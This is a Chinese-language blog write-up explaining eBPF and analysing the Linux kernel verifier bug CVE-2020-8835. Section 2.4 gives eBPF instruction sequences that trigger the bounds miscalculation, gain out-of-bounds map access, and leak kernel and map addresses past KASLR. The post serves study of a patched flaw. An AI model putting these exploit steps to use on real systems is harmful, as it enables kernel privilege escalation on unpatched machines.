Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

eBPF & CVE-2020-8835

Hello BPF !

0x00 BPF简介

BPF的全称是Berkeley Packet Filter,是一个用于过滤(filter)网络报文(packet)的架构。BPF是在1997年首次被引入Linux,当时的内核版本为2.1.75。准确的说,Linux内核中的报文过滤机制其实是有自己的名字的:Linux Socket Filter,简称 LSF。但也许是因为 BPF 名声太大了,连内核文档都直言LSF其实就是BPF。

LSF和BPF除了名字上的差异以外,还是有些不同的,首当其冲的分歧就是接口:传统的 BSD 开启 BPF的方式主要是靠打开(open)/dev/bpfX设备,之后利用 ioctl 来进行控制;而Linux则选择了利用套接字选项(sockopt)SO_ATTACH_FILTER/SO_DETACH_FILTER来执行系统调用。

由于主要是和过滤报文打交道,内核中(before 3.18)的 BPF 的绝大部分实现都被放在了net/core/filter.c下。

0x01 extended BPF

1.1 eBPF简介

自3.15版本内核,一个BPF的全新设计开始逐渐进入人们的视野,并最终(3.17)被添置到了kernel/bpf下,并最终被命名为extended BPF(eBPF)。为了后向兼容,传统的BPF仍被保留了下来,并被重命名为 classical BPF(cBPF)。

eBPF 带来的改变可谓是革命性的:一方面,它已经为内核追踪(Kernel Tracing)、应用性能调优/监控、流控(Traffic Control)等领域带来了变革;另一方面,在接口的设计以及易用性上,eBPF也有了较大的改进。

所有BPF功能都可以通过BPF syscall访问,该调用支持各种命令。在BPF的手册中,指出在当前实现中,所有bpf()命令都要求调用者具有CAP_SYS_ADMIN功能。但从Linux 4.4开始,任何用户都可以通过将eBPF程序附加到其拥有的套接字,来实现对其的加载和运行。

1.2 eBPF程序

eBPF使用的指令集有以下寄存器,分别对应硬件CPU的寄存器:

1
2
3
R0 - rax ; R1 - rdi ; R2 - rsi ; R3 - rdx ; R4 - rcx
R5 - r8 ; R6 - rbx ; R7 - r13 ; R8 - r14 ; R9 - r15
R10 - rbp;

每条指令格式:

1
2
3
4
5
6
7
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};

eBPF:

  1. 为RISC指令系统
  2. 虚拟的寄存器对应于物理CPU的寄存器,且功能类似,如r0用于返回值

BPF的加载过程

  1. 用户程序调用*syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))*申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。
  2. 用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验,这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。**安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。
  3. 用户程序通过调用*setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd))*将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。
  4. 用户程序通过操作上一步骤中的socket来触发BPF真正执行。

0x02 CVE-2020-8835

2.1 漏洞概述

eBPF有安全检查机制,会对输入的eBPF程序进行检测,然而CVE-2020-8835发现,其检查机制存在漏洞,使得攻击者可以绕过特定的检查并以此构造恶意攻击载荷进行提权。

2.2 漏洞分析

TL;DR

  1. 寄存器A从未知内存区域读取值,verifier认为A是不确定数(在实际中可以指定)
  2. 设置A的umin为1,umax为2^32+1
  3. 执行JMP32(如JNE 5, 1),执行完毕后,A被认为就是1(但其实可以为2)
  4. A(被认为是1)执行&2后>>1,在verifier中执行完后A变为0,实际中若是2,执行完后A变为1
  5. 后续使用一个超过offset limit乘A,verifier认为是0,但在实际中可造成溢出

详细分析

漏洞函数在Linux commit 581738a681b6中引入:

1
2
3
4
5
6
7
8
9
10
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

漏洞发生在eBPF的verifier阶段,在这个阶段,内核会对通过bpf系统调用载入的eBPF程序进行模拟运行来检查合法性,以保证安全性。模拟运行期间使用bpf_reg_state来保存寄存器信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct bpf_reg_state {
enum bpf_reg_type type;
union {
u16 range;
struct bpf_map *map_ptr;
u32 btf_id;
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
struct tnum var_off; // <-------------------
s64 smin_value; //有符号时可能的最小值
s64 smax_value; //有符号时可能的最大值
u64 umin_value; //无符号时可能的最小值
u64 umax_value; //无符号时可能的最小值
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
bool precise;
}

struct tnum {
u64 value;
u64 mask;
}

var_offstruct tmun类型,value的某个bit为1时,表示这个寄存器对应的bit确定为1;mask某个bit为1时,表示这个寄存器对应的bit是未知的,可能为1也可能为0。

分析如下跳转指令:

1
BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)

由这两行代码进行处理,false_regtrue_reg分别代表两个分支的状态,是**__reg_bound_offset32()**的64位版本:

1
2
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);

r5 >= 8时,会跳转到pc + 3的地方执行(true分支),那在false分支上,r5肯定小于8。

__reg_bound_offset32()**在使用BPF_JMP32时调用,BPF_JMP是64bit的比较,BPF_JMP32**是比较低32bit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4); // 取低32bit
// 取高32bit,低32bit为0
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

struct tnum tnum_range(u64 min, u64 max)
{
u64 chi = min ^ max, delta;
// 从右往左第一个为1的bit的位置
// fls64(0100) == 3
u8 bits = fls64(chi);

/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;
/* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7.
|* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return
|* constant min (since min == max).
|*/
delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}

struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;

v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}

tnum__range()*传入的参数只取低32bit,并创建一个新的TNUM*。漏洞发生的原因是tnum_range()**的实现方式有问题,计算range 的时候直接取低32bit,因为原本的umin_valueumax_value 都是64bit的, 假如计算之前umin_value == 1umax_value == 1 0000 0001 ,取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta);min = 1delta = 0

接着进入**tnum_intersect()**,假设a.value == 0,计算后v == 1mu == 0,得到最后的var_off == 1,即不管寄存器真实值如何,在verifier过程中都会被当作1。

2.3 eBPF部分函数功能

分析序列:

1
2
3
4
BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
BPF_EXIT_INSN()

比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check在校验条件类跳转指令的时候,会判断条件是否成立,如果是非确定性跳转,说明接下来的2个分支都有可能执行,这时do_check会把下一步需要跳转到的指令编号(分支B)放到一个临时栈备用,这样当前指令顺序(分支A)过程中遇到EXIT指令的时候,会从临时栈中取出之前保存的下一条指令继续校验。如果跳转指令恒成立,就不会向临时栈中压入分支。

接下来看BPF_EXIT_INSN(),前段提到在校验EXIT指令时,会从临时栈中尝试读取指令,如果临时栈有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,则这条EXIT指令确实是BPF程序的最后一条指令,然后break跳出do_check的校验循环。

在示例代码中,由于条件恒成立,因此break出do_check,不再继续执行校验循环。

2.4 exploit分析

漏洞触发

首先创建一个array map,在eBPF指令中,让r9 = map[1]; r6 = r9r6是用来调试漏洞的寄存器,通过这种加载方式,verifier就不知道r6的切确值了,这时候的var_off->value == 0

1
BPF_LDX_MEM(BPF_DW, 6, 9, 0)

可在map_create的时候下断点以获得map的地址值:

1
2
3
4
5
6
7
8
9
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)        
{
//....
map = ops->map_alloc(attr); //<====
if (IS_ERR(map)) // 125
return map;
//...
return map;
}

在判断语句处,由于判断条件的设置,umin_value会被设置成1:

1
2
BPF_JMP_IMM(BPF_JGE, 6, 1, 1) 
BPF_EXIT_INSN()

r8 = 0x100000001,再次通过跳转指令使得umax_value为0x100000001:

1
2
3
4
5
6
BPF_MOV64_IMM(8, 0x1)
BPF_ALU64_IMM(BPF_LSH, 8, 32)
BPF_ALU64_IMM(BPF_ADD, 8, 1)
/* BPF_JLE tnum umax 0x100000001 */
BPF_JMP_REG(BPF_JLE, 6, 8, 1)
BPF_EXIT_INSN()

通过JMP32来触发漏洞:

1
2
BPF_JMP32_IMM(BPF_JNE, 6, 5, 1)
BPF_EXIT_INSN()

在**__reg_bound_offset32()**下个断点,参考文章里是在kernel/bpf/verifier.c:1038false_reg 函数执行前后值如下:

地址泄漏

令一开始r6 = 2verifier过程到这里,r6会被认为是1,( 1 & 2 ) >> 1 == 0,但是实际运行的时候 ( 2 & 2 ) >> 1 == 1

1
2
BPF_ALU64_IMM(BPF_AND, 6, 2)
BPF_ALU64_IMM(BPF_RSH, 6, 1)

接下来让r6 = r6 * 0x110 ,这样 verifier过程仍然认为它是0,但是运行过程的实际值确实 0x110

1
BPF_ALU64_IMM(BPF_MUL, 6, 0x110)

我们获取一个map,叫它expmap吧, r7 = expmap[0]

1
BPF_MOV64_REG(7, 0)

然后r7 = r7 - r6,因为r7是指针类型, verifier会根据map的size来检查边界,但是verifier的时候认为r6 == 0r7 - 0 == r7,所以可以通过检查,但是运行的时候我们可以让r7 = r7 - 0x110,然后BPF_LDX_MEM(BPF_DW, 8, 7, 0)就可以做越界读写了:

1
BPF_ALU64_REG(BPF_SUB, 7, 6)

eBPF使用bpf_map来保存map信息,也就是map_create得到的地址:

1
2
3
4
5
6
7
8
struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}

map_lookup_elem的时候, 使用的是bpf_array,它的开头是bpf_map,然后value就是map的每一个项的数组,也就是说bpf_map刚好在r7的低地址处(r7是第一个value),这里查看内存可以知道mapr7 - 0x110的地方:

1
2
3
4
5
6
7
8
9
10
11
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}

于是我们就可以读写bpf_map来做后续的利用。

首先是地址泄漏,bpf_map有一个const struct bpf_map_ops ops字段,当我们创建的mapBPF_MAP_TYPE_ARRAY的时候保存的是array_map_ops,这是一个全局变量,保存在rdata段,通过它可以计算KASLR的偏移。运行的时候可以在下面的wait_list处泄漏出map的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gef➤  p/a *(struct bpf_array *)0xffff88800d878000              
$5 = {
map = {
ops = 0xffffffff82016340 <array_map_ops>,// <-- 泄露内核地址
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800e93f0f8,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
//...
usercnt = {
//..
wait_list = {
next = 0xffff88800d8780c0,// <-- 泄露 map 地址
prev = 0xffff88800d8780c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff88800d878110,// <-- r7
ptrs = 0xffff88800d878110,
pptrs = 0xffff88800d878110
}
}

2.5 漏洞修复

删除了引入的*__reg_bound_offset32()*。

参考资料:

https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html

https://www.anquanke.com/post/id/203416